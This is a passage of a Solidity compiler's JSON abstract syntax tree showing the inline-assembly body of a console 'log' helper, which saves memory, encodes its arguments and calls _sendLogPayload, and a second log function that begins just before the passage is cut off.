"constant":false,"id":39938,"mutability":"mutable","name":"m6","nameLocation":"187067:2:22","nodeType":"VariableDeclaration","scope":39947,"src":"187059:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39937,"name":"bytes32","nodeType":"ElementaryTypeName","src":"187059:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39939,"nodeType":"VariableDeclarationStatement","src":"187059:10:22"},{"AST":{"nativeSrc":"187088:825:22","nodeType":"YulBlock","src":"187088:825:22","statements":[{"body":{"nativeSrc":"187131:313:22","nodeType":"YulBlock","src":"187131:313:22","statements":[{"nativeSrc":"187149:15:22","nodeType":"YulVariableDeclaration","src":"187149:15:22","value":{"kind":"number","nativeSrc":"187163:1:22","nodeType":"YulLiteral","src":"187163:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"187153:6:22","nodeType":"YulTypedName","src":"187153:6:22","type":""}]},{"body":{"nativeSrc":"187234:40:22","nodeType":"YulBlock","src":"187234:40:22","statements":[{"body":{"nativeSrc":"187263:9:22","nodeType":"YulBlock","src":"187263:9:22","statements":[{"nativeSrc":"187265:5:22","nodeType":"YulBreak","src":"187265:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"187251:6:22","nodeType":"YulIdentifier","src":"187251:6:22"},{"name":"w","nativeSrc":"187259:1:22","nodeType":"YulIdentifier","src":"187259:1:22"}],"functionName":{"name":"byte","nativeSrc":"187246:4:22","nodeType":"YulIdentifier","src":"187246:4:22"},"nativeSrc":"187246:15:22","nodeType":"YulFunctionCall","src":"187246:15:22"}],"functionName":{"name":"iszero","nativeSrc":"187239:6:22","nodeType":"YulIdentifier","src":"187239:6:22"},"nativeSrc":"187239:23:22","nodeType":"YulFunctionCall","src":"187239:23:22"},"nativeSrc":"187236:36:22","nodeType":"YulIf","src":"187236:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"187191:6:22","nodeType":"YulIdentifier","src":"187191:6:22"},{"kind":"number","nativeSrc":"187199:4:22","nodeType":"YulLiteral","src":"187199:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"187188:2:22","nodeType":"YulIdentifier","src":"187188:2:22"},"nativeSrc":"187188:16:22","nodeType":"YulFunctionCall","src":"187188:16:22"},"nativeSrc":"187181:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"187205:28:22","nodeType":"YulBlock","src":"187205:28:22","statements":[{"nativeSrc":"187207:24:22","nodeType":"YulAssignment","src":"187207:24:22","value":{"arguments":[{"name":"length","nativeSrc":"187221:6:22","nodeType":"YulIdentifier","src":"187221:6:22"},{"kind":"number","nativeSrc":"187229:1:22","nodeType":"YulLiteral","src":"187229:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"187217:3:22","nodeType":"YulIdentifier","src":"187217:3:22"},"nativeSrc":"187217:14:22","nodeType":"YulFunctionCall","src":"187217:14:22"},"variableNames":[{"name":"length","nativeSrc":"187207:6:22","nodeType":"YulIdentifier","src":"187207:6:22"}]}]},"pre":{"nativeSrc":"187185:2:22","nodeType":"YulBlock","src":"187185:2:22","statements":[]},"src":"187181:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"187298:3:22","nodeType":"YulIdentifier","src":"187298:3:22"},{"name":"length","nativeSrc":"187303:6:22","nodeType":"YulIdentifier","src":"187303:6:22"}],"functionName":{"name":"mstore","nativeSrc":"187291:6:22","nodeType":"YulIdentifier","src":"187291:6:22"},"nativeSrc":"187291:19:22","nodeType":"YulFunctionCall","src":"187291:19:22"},"nativeSrc":"187291:19:22","nodeType":"YulExpressionStatement","src":"187291:19:22"},{"nativeSrc":"187327:37:22","nodeType":"YulVariableDeclaration","src":"187327:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"187344:3:22","nodeType":"YulLiteral","src":"187344:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"187353:1:22","nodeType":"YulLiteral","src":"187353:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"187356:6:22","nodeType":"YulIdentifier","src":"187356:6:22"}],"functionName":{"name":"shl","nativeSrc":"187349:3:22","nodeType":"YulIdentifier","src":"187349:3:22"},"nativeSrc":"187349:14:22","nodeType":"YulFunctionCall","src":"187349:14:22"}],"functionName":{"name":"sub","nativeSrc":"187340:3:22","nodeType":"YulIdentifier","src":"187340:3:22"},"nativeSrc":"187340:24:22","nodeType":"YulFunctionCall","src":"187340:24:22"},"variables":[{"name":"shift","nativeSrc":"187331:5:22","nodeType":"YulTypedName","src":"187331:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"187392:3:22","nodeType":"YulIdentifier","src":"187392:3:22"},{"kind":"number","nativeSrc":"187397:4:22","nodeType":"YulLiteral","src":"187397:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"187388:3:22","nodeType":"YulIdentifier","src":"187388:3:22"},"nativeSrc":"187388:14:22","nodeType":"YulFunctionCall","src":"187388:14:22"},{"arguments":[{"name":"shift","nativeSrc":"187408:5:22","nodeType":"YulIdentifier","src":"187408:5:22"},{"arguments":[{"name":"shift","nativeSrc":"187419:5:22","nodeType":"YulIdentifier","src":"187419:5:22"},{"name":"w","nativeSrc":"187426:1:22","nodeType":"YulIdentifier","src":"187426:1:22"}],"functionName":{"name":"shr","nativeSrc":"187415:3:22","nodeType":"YulIdentifier","src":"187415:3:22"},"nativeSrc":"187415:13:22","nodeType":"YulFunctionCall","src":"187415:13:22"}],"functionName":{"name":"shl","nativeSrc":"187404:3:22","nodeType":"YulIdentifier","src":"187404:3:22"},"nativeSrc":"187404:25:22","nodeType":"YulFunctionCall","src":"187404:25:22"}],"functionName":{"name":"mstore","nativeSrc":"187381:6:22","nodeType":"YulIdentifier","src":"187381:6:22"},"nativeSrc":"187381:49:22","nodeType":"YulFunctionCall","src":"187381:49:22"},"nativeSrc":"187381:49:22","nodeType":"YulExpressionStatement","src":"187381:49:22"}]},"name":"writeString","nativeSrc":"187102:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"187123:3:22","nodeType":"YulTypedName","src":"187123:3:22","type":""},{"name":"w","nativeSrc":"187128:1:22","nodeType":"YulTypedName","src":"187128:1:22","type":""}],"src":"187102:342:22"},{"nativeSrc":"187457:17:22","nodeType":"YulAssignment","src":"187457:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"187469:4:22","nodeType":"YulLiteral","src":"187469:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"187463:5:22","nodeType":"YulIdentifier","src":"187463:5:22"},"nativeSrc":"187463:11:22","nodeType":"YulFunctionCall","src":"187463:11:22"},"variableNames":[{"name":"m0","nativeSrc":"187457:2:22","nodeType":"YulIdentifier","src":"187457:2:22"}]},{"nativeSrc":"187487:17:22","nodeType":"YulAssignment","src":"187487:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"187499:4:22","nodeType":"YulLiteral","src":"187499:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"187493:5:22","nodeType":"YulIdentifier","src":"187493:5:22"},"nativeSrc":"187493:11:22","nodeType":"YulFunctionCall","src":"187493:11:22"},"variableNames":[{"name":"m1","nativeSrc":"187487:2:22","nodeType":"YulIdentifier","src":"187487:2:22"}]},{"nativeSrc":"187517:17:22","nodeType":"YulAssignment","src":"187517:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"187529:4:22","nodeType":"YulLiteral","src":"187529:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"187523:5:22","nodeType":"YulIdentifier","src":"187523:5:22"},"nativeSrc":"187523:11:22","nodeType":"YulFunctionCall","src":"187523:11:22"},"variableNames":[{"name":"m2","nativeSrc":"187517:2:22","nodeType":"YulIdentifier","src":"187517:2:22"}]},{"nativeSrc":"187547:17:22","nodeType":"YulAssignment","src":"187547:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"187559:4:22","nodeType":"YulLiteral","src":"187559:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"187553:5:22","nodeType":"YulIdentifier","src":"187553:5:22"},"nativeSrc":"187553:11:22","nodeType":"YulFunctionCall","src":"187553:11:22"},"variableNames":[{"name":"m3","nativeSrc":"187547:2:22","nodeType":"YulIdentifier","src":"187547:2:22"}]},{"nativeSrc":"187577:17:22","nodeType":"YulAssignment","src":"187577:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"187589:4:22","nodeType":"YulLiteral","src":"187589:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"187583:5:22","nodeType":"YulIdentifier","src":"187583:5:22"},"nativeSrc":"187583:11:22","nodeType":"YulFunctionCall","src":"187583:11:22"},"variableNames":[{"name":"m4","nativeSrc":"187577:2:22","nodeType":"YulIdentifier","src":"187577:2:22"}]},{"nativeSrc":"187607:17:22","nodeType":"YulAssignment","src":"187607:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"187619:4:22","nodeType":"YulLiteral","src":"187619:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"187613:5:22","nodeType":"YulIdentifier","src":"187613:5:22"},"nativeSrc":"187613:11:22","nodeType":"YulFunctionCall","src":"187613:11:22"},"variableNames":[{"name":"m5","nativeSrc":"187607:2:22","nodeType":"YulIdentifier","src":"187607:2:22"}]},{"nativeSrc":"187637:17:22","nodeType":"YulAssignment","src":"187637:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"187649:4:22","nodeType":"YulLiteral","src":"187649:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"187643:5:22","nodeType":"YulIdentifier","src":"187643:5:22"},"nativeSrc":"187643:11:22","nodeType":"YulFunctionCall","src":"187643:11:22"},"variableNames":[{"name":"m6","nativeSrc":"187637:2:22","nodeType":"YulIdentifier","src":"187637:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"187734:4:22","nodeType":"YulLiteral","src":"187734:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"187740:10:22","nodeType":"YulLiteral","src":"187740:10:22","type":"","value":"0xe3a9ca2f"}],"functionName":{"name":"mstore","nativeSrc":"187727:6:22","nodeType":"YulIdentifier","src":"187727:6:22"},"nativeSrc":"187727:24:22","nodeType":"YulFunctionCall","src":"187727:24:22"},"nativeSrc":"187727:24:22","nodeType":"YulExpressionStatement","src":"187727:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"187771:4:22","nodeType":"YulLiteral","src":"187771:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"187777:2:22","nodeType":"YulIdentifier","src":"187777:2:22"}],"functionName":{"name":"mstore","nativeSrc":"187764:6:22","nodeType":"YulIdentifier","src":"187764:6:22"},"nativeSrc":"187764:16:22","nodeType":"YulFunctionCall","src":"187764:16:22"},"nativeSrc":"187764:16:22","nodeType":"YulExpressionStatement","src":"187764:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"187800:4:22","nodeType":"YulLiteral","src":"187800:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"187806:2:22","nodeType":"YulIdentifier","src":"187806:2:22"}],"functionName":{"name":"mstore","nativeSrc":"187793:6:22","nodeType":"YulIdentifier","src":"187793:6:22"},"nativeSrc":"187793:16:22","nodeType":"YulFunctionCall","src":"187793:16:22"},"nativeSrc":"187793:16:22","nodeType":"YulExpressionStatement","src":"187793:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"187829:4:22","nodeType":"YulLiteral","src":"187829:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"187835:4:22","nodeType":"YulLiteral","src":"187835:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"187822:6:22","nodeType":"YulIdentifier","src":"187822:6:22"},"nativeSrc":"187822:18:22","nodeType":"YulFunctionCall","src":"187822:18:22"},"nativeSrc":"187822:18:22","nodeType":"YulExpressionStatement","src":"187822:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"187860:4:22","nodeType":"YulLiteral","src":"187860:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"187866:2:22","nodeType":"YulIdentifier","src":"187866:2:22"}],"functionName":{"name":"mstore","nativeSrc":"187853:6:22","nodeType":"YulIdentifier","src":"187853:6:22"},"nativeSrc":"187853:16:22","nodeType":"YulFunctionCall","src":"187853:16:22"},"nativeSrc":"187853:16:22","nodeType":"YulExpressionStatement","src":"187853:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"187894:4:22","nodeType":"YulLiteral","src":"187894:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"187900:2:22","nodeType":"YulIdentifier","src":"187900:2:22"}],"functionName":{"name":"writeString","nativeSrc":"187882:11:22","nodeType":"YulIdentifier","src":"187882:11:22"},"nativeSrc":"187882:21:22","nodeType":"YulFunctionCall","src":"187882:21:22"},"nativeSrc":"187882:21:22","nodeType":"YulExpressionStatement","src":"187882:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39920,"isOffset":false,"isSlot":false,"src":"187457:2:22","valueSize":1},{"declaration":39923,"isOffset":false,"isSlot":false,"src":"187487:2:22","valueSize":1},{"declaration":39926,"isOffset":false,"isSlot":false,"src":"187517:2:22","valueSize":1},{"declaration":39929,"isOffset":false,"isSlot":false,"src":"187547:2:22","valueSize":1},{"declaration":39932,"isOffset":false,"isSlot":false,"src":"187577:2:22","valueSize":1},{"declaration":39935,"isOffset":false,"isSlot":false,"src":"187607:2:22","valueSize":1},{"declaration":39938,"isOffset":false,"isSlot":false,"src":"187637:2:22","valueSize":1},{"declaration":39910,"isOffset":false,"isSlot":false,"src":"187777:2:22","valueSize":1},{"declaration":39912,"isOffset":false,"isSlot":false,"src":"187806:2:22","valueSize":1},{"declaration":39914,"isOffset":false,"isSlot":false,"src":"187900:2:22","valueSize":1},{"declaration":39916,"isOffset":false,"isSlot":false,"src":"187866:2:22","valueSize":1}],"id":39940,"nodeType":"InlineAssembly","src":"187079:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39942,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"187938:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":39943,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"187944:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":39941,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"187922:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39944,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"187922:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39945,"nodeType":"ExpressionStatement","src":"187922:27:22"},{"AST":{"nativeSrc":"187968:214:22","nodeType":"YulBlock","src":"187968:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"187989:4:22","nodeType":"YulLiteral","src":"187989:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"187995:2:22","nodeType":"YulIdentifier","src":"187995:2:22"}],"functionName":{"name":"mstore","nativeSrc":"187982:6:22","nodeType":"YulIdentifier","src":"187982:6:22"},"nativeSrc":"187982:16:22","nodeType":"YulFunctionCall","src":"187982:16:22"},"nativeSrc":"187982:16:22","nodeType":"YulExpressionStatement","src":"187982:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"188018:4:22","nodeType":"YulLiteral","src":"188018:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"188024:2:22","nodeType":"YulIdentifier","src":"188024:2:22"}],"functionName":{"name":"mstore","nativeSrc":"188011:6:22","nodeType":"YulIdentifier","src":"188011:6:22"},"nativeSrc":"188011:16:22","nodeType":"YulFunctionCall","src":"188011:16:22"},"nativeSrc":"188011:16:22","nodeType":"YulExpressionStatement","src":"188011:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"188047:4:22","nodeType":"YulLiteral","src":"188047:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"188053:2:22","nodeType":"YulIdentifier","src":"188053:2:22"}],"functionName":{"name":"mstore","nativeSrc":"188040:6:22","nodeType":"YulIdentifier","src":"188040:6:22"},"nativeSrc":"188040:16:22","nodeType":"YulFunctionCall","src":"188040:16:22"},"nativeSrc":"188040:16:22","nodeType":"YulExpressionStatement","src":"188040:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"188076:4:22","nodeType":"YulLiteral","src":"188076:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"188082:2:22","nodeType":"YulIdentifier","src":"188082:2:22"}],"functionName":{"name":"mstore","nativeSrc":"188069:6:22","nodeType":"YulIdentifier","src":"188069:6:22"},"nativeSrc":"188069:16:22","nodeType":"YulFunctionCall","src":"188069:16:22"},"nativeSrc":"188069:16:22","nodeType":"YulExpressionStatement","src":"188069:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"188105:4:22","nodeType":"YulLiteral","src":"188105:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"188111:2:22","nodeType":"YulIdentifier","src":"188111:2:22"}],"functionName":{"name":"mstore","nativeSrc":"188098:6:22","nodeType":"YulIdentifier","src":"188098:6:22"},"nativeSrc":"188098:16:22","nodeType":"YulFunctionCall","src":"188098:16:22"},"nativeSrc":"188098:16:22","nodeType":"YulExpressionStatement","src":"188098:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"188134:4:22","nodeType":"YulLiteral","src":"188134:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"188140:2:22","nodeType":"YulIdentifier","src":"188140:2:22"}],"functionName":{"name":"mstore","nativeSrc":"188127:6:22","nodeType":"YulIdentifier","src":"188127:6:22"},"nativeSrc":"188127:16:22","nodeType":"YulFunctionCall","src":"188127:16:22"},"nativeSrc":"188127:16:22","nodeType":"YulExpressionStatement","src":"188127:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"188163:4:22","nodeType":"YulLiteral","src":"188163:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"188169:2:22","nodeType":"YulIdentifier","src":"188169:2:22"}],"functionName":{"name":"mstore","nativeSrc":"188156:6:22","nodeType":"YulIdentifier","src":"188156:6:22"},"nativeSrc":"188156:16:22","nodeType":"YulFunctionCall","src":"188156:16:22"},"nativeSrc":"188156:16:22","nodeType":"YulExpressionStatement","src":"188156:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39920,"isOffset":false,"isSlot":false,"src":"187995:2:22","valueSize":1},{"declaration":39923,"isOffset":false,"isSlot":false,"src":"188024:2:22","valueSize":1},{"declaration":39926,"isOffset":false,"isSlot":false,"src":"188053:2:22","valueSize":1},{"declaration":39929,"isOffset":false,"isSlot":false,"src":"188082:2:22","valueSize":1},{"declaration":39932,"isOffset":false,"isSlot":false,"src":"188111:2:22","valueSize":1},{"declaration":39935,"isOffset":false,"isSlot":false,"src":"188140:2:22","valueSize":1},{"declaration":39938,"isOffset":false,"isSlot":false,"src":"188169:2:22","valueSize":1}],"id":39946,"nodeType":"InlineAssembly","src":"187959:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"186869:3:22","parameters":{"id":39917,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39910,"mutability":"mutable","name":"p0","nameLocation":"186878:2:22","nodeType":"VariableDeclaration","scope":39948,"src":"186873:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39909,"name":"bool","nodeType":"ElementaryTypeName","src":"186873:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39912,"mutability":"mutable","name":"p1","nameLocation":"186887:2:22","nodeType":"VariableDeclaration","scope":39948,"src":"186882:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39911,"name":"bool","nodeType":"ElementaryTypeName","src":"186882:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39914,"mutability":"mutable","name":"p2","nameLocation":"186899:2:22","nodeType":"VariableDeclaration","scope":39948,"src":"186891:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39913,"name":"bytes32","nodeType":"ElementaryTypeName","src":"186891:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":39916,"mutability":"mutable","name":"p3","nameLocation":"186911:2:22","nodeType":"VariableDeclaration","scope":39948,"src":"186903:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":39915,"name":"uint256","nodeType":"ElementaryTypeName","src":"186903:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"186872:42:22"},"returnParameters":{"id":39918,"nodeType":"ParameterList","parameters":[],"src":"186929:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39994,"nodeType":"FunctionDefinition","src":"188194:1524:22","nodes":[],"body":{"id":39993,"nodeType":"Block","src":"188263:1455:22","nodes":[],"statements":[{"assignments":[39960],"declarations":[{"constant":false,"id":39960,"mutability":"mutable","name":"m0","nameLocation":"188281:2:22","nodeType":"VariableDeclaration","scope":39993,"src":"188273:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39959,"name":"bytes32","nodeType":"ElementaryTypeName","src":"188273:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39961,"nodeType":"VariableDeclarationStatement","src":"188273:10:22"},{"assignments":[39963],"declarations":[{"constant":false,"id":39963,"mutability":"mutable","name":"m1","nameLocation":"188301:2:22","nodeType":"VariableDeclaration","scope":39993,"src":"188293:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39962,"name":"bytes32","nodeType":"ElementaryTypeName","src":"188293:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39964,"nodeType":"VariableDeclarationStatement","src":"188293:10:22"},{"assignments":[39966],"declarations":[{"constant":false,"id":39966,"mutability":"mutable","name":"m2","nameLocation":"188321:2:22","nodeType":"VariableDeclaration","scope":39993,"src":"188313:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39965,"name":"bytes32","nodeType":"ElementaryTypeName","src":"188313:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39967,"nodeType":"VariableDeclarationStatement","src":"188313:10:22"},{"assignments":[39969],"declarations":[{"constant":false,"id":39969,"mutability":"mutable","name":"m3","nameLocation":"188341:2:22","nodeType":"VariableDeclaration","scope":39993,"src":"188333:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39968,"name":"bytes32","nodeType":"ElementaryTypeName","src":"188333:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39970,"nodeType":"VariableDeclarationStatement","src":"188333:10:22"},{"assignments":[39972],"declarations":[{"constant":false,"id":39972,"mutability":"mutable","name":"m4","nameLocation":"188361:2:22","nodeType":"VariableDeclaration","scope":39993,"src":"188353:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39971,"name":"bytes32","nodeType":"ElementaryTypeName","src":"188353:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39973,"nodeType":"VariableDeclarationStatement","src":"188353:10:22"},{"assignments":[39975],"declarations":[{"constant":false,"id":39975,"mutability":"mutable","name":"m5","nameLocation":"188381:2:22","nodeType":"VariableDeclaration","scope":39993,"src":"188373:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39974,"name":"bytes32","nodeType":"ElementaryTypeName","src":"188373:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39976,"nodeType":"VariableDeclarationStatement","src":"188373:10:22"},{"assignments":[39978],"declarations":[{"constant":false,"id":39978,"mutability":"mutable","name":"m6","nameLocation":"188401:2:22","nodeType":"VariableDeclaration","scope":39993,"src":"188393:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39977,"name":"bytes32","nodeType":"ElementaryTypeName","src":"188393:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39979,"nodeType":"VariableDeclarationStatement","src":"188393:10:22"},{"assignments":[39981],"declarations":[{"constant":false,"id":39981,"mutability":"mutable","name":"m7","nameLocation":"188421:2:22","nodeType":"VariableDeclaration","scope":39993,"src":"188413:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39980,"name":"bytes32","nodeType":"ElementaryTypeName","src":"188413:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39982,"nodeType":"VariableDeclarationStatement","src":"188413:10:22"},{"assignments":[39984],"declarations":[{"constant":false,"id":39984,"mutability":"mutable","name":"m8","nameLocation":"188441:2:22","nodeType":"VariableDeclaration","scope":39993,"src":"188433:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39983,"name":"bytes32","nodeType":"ElementaryTypeName","src":"188433:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39985,"nodeType":"VariableDeclarationStatement","src":"188433:10:22"},{"AST":{"nativeSrc":"188462:921:22","nodeType":"YulBlock","src":"188462:921:22","statements":[{"body":{"nativeSrc":"188505:313:22","nodeType":"YulBlock","src":"188505:313:22","statements":[{"nativeSrc":"188523:15:22","nodeType":"YulVariableDeclaration","src":"188523:15:22","value":{"kind":"number","nativeSrc":"188537:1:22","nodeType":"YulLiteral","src":"188537:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"188527:6:22","nodeType":"YulTypedName","src":"188527:6:22","type":""}]},{"body":{"nativeSrc":"188608:40:22","nodeType":"YulBlock","src":"188608:40:22","statements":[{"body":{"nativeSrc":"188637:9:22","nodeType":"YulBlock","src":"188637:9:22","statements":[{"nativeSrc":"188639:5:22","nodeType":"YulBreak","src":"188639:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"188625:6:22","nodeType":"YulIdentifier","src":"188625:6:22"},{"name":"w","nativeSrc":"188633:1:22","nodeType":"YulIdentifier","src":"188633:1:22"}],"functionName":{"name":"byte","nativeSrc":"188620:4:22","nodeType":"YulIdentifier","src":"188620:4:22"},"nativeSrc":"188620:15:22","nodeType":"YulFunctionCall","src":"188620:15:22"}],"functionName":{"name":"iszero","nativeSrc":"188613:6:22","nodeType":"YulIdentifier","src":"188613:6:22"},"nativeSrc":"188613:23:22","nodeType":"YulFunctionCall","src":"188613:23:22"},"nativeSrc":"188610:36:22","nodeType":"YulIf","src":"188610:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"188565:6:22","nodeType":"YulIdentifier","src":"188565:6:22"},{"kind":"number","nativeSrc":"188573:4:22","nodeType":"YulLiteral","src":"188573:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"188562:2:22","nodeType":"YulIdentifier","src":"188562:2:22"},"nativeSrc":"188562:16:22","nodeType":"YulFunctionCall","src":"188562:16:22"},"nativeSrc":"188555:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"188579:28:22","nodeType":"YulBlock","src":"188579:28:22","statements":[{"nativeSrc":"188581:24:22","nodeType":"YulAssignment","src":"188581:24:22","value":{"arguments":[{"name":"length","nativeSrc":"188595:6:22","nodeType":"YulIdentifier","src":"188595:6:22"},{"kind":"number","nativeSrc":"188603:1:22","nodeType":"YulLiteral","src":"188603:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"188591:3:22","nodeType":"YulIdentifier","src":"188591:3:22"},"nativeSrc":"188591:14:22","nodeType":"YulFunctionCall","src":"188591:14:22"},"variableNames":[{"name":"length","nativeSrc":"188581:6:22","nodeType":"YulIdentifier","src":"188581:6:22"}]}]},"pre":{"nativeSrc":"188559:2:22","nodeType"